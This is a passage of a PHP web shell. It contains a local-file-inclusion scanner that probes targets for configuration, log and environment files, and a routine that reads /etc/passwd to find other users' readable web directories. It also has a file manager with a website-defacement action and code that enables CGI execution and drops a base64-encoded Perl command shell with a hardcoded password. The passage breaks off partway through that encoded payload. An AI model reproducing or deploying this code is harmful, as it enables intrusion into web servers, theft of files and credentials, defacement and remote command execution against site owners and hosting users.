1208 $rhash2 = md5($res2);
1209 if ($rhash1 != $rhash2) {
1210 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1211 while($lficonfig[$x]) {
1212 $res3 = FetchURL($target.$lficonfig[$x]);
1213 $rhash3 = md5($res3);
1214 if ($rhash3 != $rhash2) {
1215 print "<font color='#7115e7'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
1216 }
1217 else {
1218 print "<font color='#e71515'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
1219 }
1220 $x++;
1221 }
1222 }
1223 }
1224 if ( $type == 3 ) {
1225 $res1 = FetchURL($target.$lfitest);
1226 $res2 = FetchURL($target.$lfitest2);
1227 $rhash1 = md5($res1);
1228 $rhash2 = md5($res2);
1229 if ($rhash1 != $rhash2) {
1230 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1231 while($lfierror[$x]) {
1232 $res3 = FetchURL($target.$lfierror[$x]);
1233 $rhash3 = md5($res3);
1234 if ($rhash3 != $rhash2) {
1235 print "<font color='#7115e7'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
1236 }
1237 else {
1238 print "<font color='#e71515'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
1239 }
1240 $x++;
1241 }
1242 }
1243 }
1244 if ( $type == 4 ) {
1245 $res1 = FetchURL($target.$lfitest);
1246 $res2 = FetchURL($target.$lfitest2);
1247 $rhash1 = md5($res1);
1248 $rhash2 = md5($res2);
1249 if ($rhash1 != $rhash2) {
1250 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1251 while($lfiphpini[$x]) {
1252 $res3 = FetchURL($target.$lfiphpini[$x]);
1253 $rhash3 = md5($res3);
1254 if ($rhash3 != $rhash2) {
1255 print "<font color='#7115e7'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
1256 }
1257 else {
1258 print "<font color='#e71515'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
1259 }
1260 $x++;
1261 }
1262 }
1263 }
1264 if ( $type == 5 ) {
1265 $res1 = FetchURL($target.$lfitest);
1266 $res2 = FetchURL($target.$lfitest2);
1267 $rhash1 = md5($res1);
1268 $rhash2 = md5($res2);
1269 if ($rhash1 != $rhash2) {
1270 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1271 while($lfimysql[$x]) {
1272 $res3 = FetchURL($target.$lfimysql[$x]);
1273 $rhash3 = md5($res3);
1274 if ($rhash3 != $rhash2) {
1275 print "<font color='#7115e7'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
1276 }
1277 else {
1278 print "<font color='#e71515'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
1279 }
1280 $x++;
1281 }
1282 }
1283 }
1284 if ( $type == 6 ) {
1285 $res1 = FetchURL($target.$lfitest);
1286 $res2 = FetchURL($target.$lfitest2);
1287 $rhash1 = md5($res1);
1288 $rhash2 = md5($res2);
1289 if ($rhash1 != $rhash2) {
1290 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1291 while($lfiftp[$x]) {
1292 $res3 = FetchURL($target.$lfiftp[$x]);
1293 $rhash3 = md5($res3);
1294 if ($rhash3 != $rhash2) {
1295 print "<font color='#7115e7'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
1296 }
1297 else {
1298 print "<font color='#e71515'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
1299 }
1300 $x++;
1301 }
1302 }
1303 }
1304 if ( $type == 7 ) {
1305 $res1 = FetchURL($target.$lfitest);
1306 $res2 = FetchURL($target.$lfitest2);
1307 $rhash1 = md5($res1);
1308 $rhash2 = md5($res2);
1309 if ($rhash1 != $rhash2) {
1310 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
1311 $res3 = FetchURL($target.$lfiprocenv);
1312 $rhash3 = md5($res3);
1313 if ($rhash3 != $rhash2) {
1314 print "<font color='#7115e7'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
1315 }
1316 else {
1317 print "<font color='#e71515'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
1318 }
1319 }
1320 }
1321 }
1322 }
1323 printFooter();
1324 }
1325
1326function actionReadable() {
1327 printHeader();
1328 echo '<h1>Readable Directories</h1>';
1329 echo '<div class="content">';
1330 $sm = ini_get('safe_mode');
1331 if($sm) {
1332 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
1333 } else {
1334 @$passwd = file('/etc/passwd','r');
1335 if (!$passwd) {
1336 echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
1337 } else {
1338 $pub = array();
1339 $users = array();
1340 $conf = array();
1341 $i = 0;
1342 foreach($passwd as $p) {
1343 $r = explode(':',$p);
1344 $dirz = $r[5].'/public_html/';
1345 if(strpos($r[5],'home')) {
1346 array_push($users,$r[0]);
1347 if (is_readable($dirz)) {
1348 array_push($pub,$dirz);
1349 }
1350 }
1351 }
1352 echo '<br><br>';
1353 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
1354 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
1355 foreach ($pub as $user) {
1356 echo $user."<br>";
1357 }
1358 echo "<br /><br /><br />[+] Complete...\n"."<br />";
1359 }
1360 }
1361 echo '</div>';
1362 printFooter();
1363}
1364
1365function actionFilesMan() {
1366 printHeader();
1367 echo '<h1>File Manager</h1><div class=content>';
1368 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
1369 switch($_POST['p1']) {
1370 case 'uploadFile':
1371 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1372 echo "Can't upload file!";
1373 break;
1374 break;
1375 case 'mkdir':
1376 if(!@mkdir($_POST['p2']))
1377 echo "Can't create new dir";
1378 break;
1379 case 'delete':
1380 function deleteDir($path) {
1381 $path = (substr($path,-1)=='/') ? $path:$path.'/';
1382 $dh = opendir($path);
1383 while ( ($item = readdir($dh) ) !== false) {
1384 $item = $path.$item;
1385 if ( (basename($item) == "..") || (basename($item) == ".") )
1386 continue;
1387 $type = filetype($item);
1388 if ($type == "dir")
1389 deleteDir($item);
1390 else
1391 @unlink($item);
1392 }
1393 closedir($dh);
1394 rmdir($path);
1395 }
1396 if(is_array(@$_POST['f']))
1397 foreach($_POST['f'] as $f) {
1398 $f = urldecode($f);
1399 if(is_dir($f))
1400 deleteDir($f);
1401 else
1402 @unlink($f);
1403 }
1404 break;
1405 case 'paste':
1406 if($_SESSION['act'] == 'copy') {
1407 function copy_paste($c,$s,$d){
1408 if(is_dir($c.$s)){
1409 mkdir($d.$s);
1410 $h = opendir($c.$s);
1411 while (($f = readdir($h)) !== false)
1412 if (($f != ".") and ($f != "..")) {
1413 copy_paste($c.$s.'/',$f, $d.$s.'/');
1414 }
1415 } elseif(is_file($c.$s)) {
1416 @copy($c.$s, $d.$s);
1417 }
1418 }
1419 foreach($_SESSION['f'] as $f)
1420 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
1421 } elseif($_SESSION['act'] == 'move') {
1422 function move_paste($c,$s,$d){
1423 if(is_dir($c.$s)){
1424 mkdir($d.$s);
1425 $h = opendir($c.$s);
1426 while (($f = readdir($h)) !== false)
1427 if (($f != ".") and ($f != "..")) {
1428 copy_paste($c.$s.'/',$f, $d.$s.'/');
1429 }
1430 } elseif(is_file($c.$s)) {
1431 @copy($c.$s, $d.$s);
1432 }
1433 }
1434 foreach($_SESSION['f'] as $f)
1435 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
1436 }
1437 unset($_SESSION['f']);
1438 break;
1439 default:
1440 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
1441 $_SESSION['act'] = @$_POST['p1'];
1442 $_SESSION['f'] = @$_POST['f'];
1443 foreach($_SESSION['f'] as $k => $f)
1444 $_SESSION['f'][$k] = urldecode($f);
1445 $_SESSION['cwd'] = @$_POST['c'];
1446 }
1447 break;
1448 }
1449 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
1450 }
1451 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
1452 $def = file_get_contents(''); //DEFACE LINK HERE
1453 file_put_contents($_POST['c'].$_POST['p2'],$def);
1454 }
1455 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1456 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
1457 global $sort;
1458 $sort = array('name', 1);
1459 if(!empty($_POST['p1'])) {
1460 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1461 $sort = array($match[1], (int)$match[2]);
1462 }
1463 echo '<script>
1464 function sa() {
1465 for(i=0;i<document.files.elements.length;i++)
1466 if(document.files.elements[i].type == \'checkbox\')
1467 document.files.elements[i].checked = document.files.elements[0].checked;
1468 }
1469 </script>
1470 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
1471 <form name=files method=post>';
1472 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1473 $dirs = $files = $links = array();
1474 $n = count($dirContent);
1475 for($i=0;$i<$n;$i++) {
1476 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1477 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1478 $tmp = array('name' => $dirContent[$i],
1479 'path' => $GLOBALS['cwd'].$dirContent[$i],
1480 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
1481 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
1482 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1483 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1484 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1485 );
1486 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
1487 $files[] = array_merge($tmp, array('type' => 'file'));
1488 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
1489 $links[] = array_merge($tmp, array('type' => 'link'));
1490 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
1491 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1492 }
1493 $GLOBALS['sort'] = $sort;
1494 function cmp($a, $b) {
1495 if($GLOBALS['sort'][0] != 'size')
1496 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
1497 else
1498 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1499 }
1500 usort($files, "cmp");
1501 usort($dirs, "cmp");
1502 usort($links, "cmp");
1503 $files = array_merge($dirs, $links, $files);
1504 $l = 0;
1505 foreach($files as $f) {
1506 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1507 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1508 $l = $l?0:1;
1509 }
1510 echo '<tr><td colspan=5>
1511 <input type=hidden name=a value=\'FilesMan\'>
1512 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1513 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1514 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
1515 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
1516 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.html" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
1517 </form></table></div>';
1518 printFooter();
1519}
1520
1521
1522function actionCgiShell() {
1523 printHeader();
1524 echo '<h1>Cgi telnet Evil here </h1><div class=content>';
1525 mkdir('cgitelnet1', 0755);
1526 chdir('cgitelnet1');
1527 $kokdosya = ".htaccess";
1528 $dosya_adi = "$kokdosya";
1529 $dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
1530 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
1531
1532AddType application/x-httpd-cgi .cin
1533
1534AddHandler cgi-script .cin
1535AddHandler cgi-script .cin";
1536 fwrite($dosya, $metin);
1537 fclose($dosya);
1538 $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5QUklWQVRFIENHSSBTSEVMTDwvYj4gIyBzZXJ2ZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyDQojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokUGFzc3dvcmQgPSAiRDNtMG4iOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+UFJJVkFURSBDR0kgU0hFTEw8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQoNCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAgIGk1X0Bob3RtYWlsLmNvbSI+DQo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0icHJpdjggY2dpIHNoZWxsICBfICAgIGk1X0Bob3RtYWlsLmNvbSI+DQo8L2hlYWQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iI0ZGRkZGRiIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIiB0ZXh0PSIjRkYwMDAwIj4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KPHRkIGJnY29sb3I9IiNGRkZGRkYiIGJvcmRlcmNvbG9yPSIjRkZGRkZGIiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMSUiPg0KPGI+PGZvbnQgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4NCjx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiB3aWR0aD0iOTglIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj48Yj4gDQo8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5DR0kgU0hFTEw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPC9mb250PjxoMT5wYXNzPXByaXY4PC9oMT48Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+PHByZT48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3LnByaXY4LmlibG9nZ2VyLm9yZy9zLnBocD8rY2dpdGVsbmV0IHNoZWxsIiB3aWR0aD0iMCIg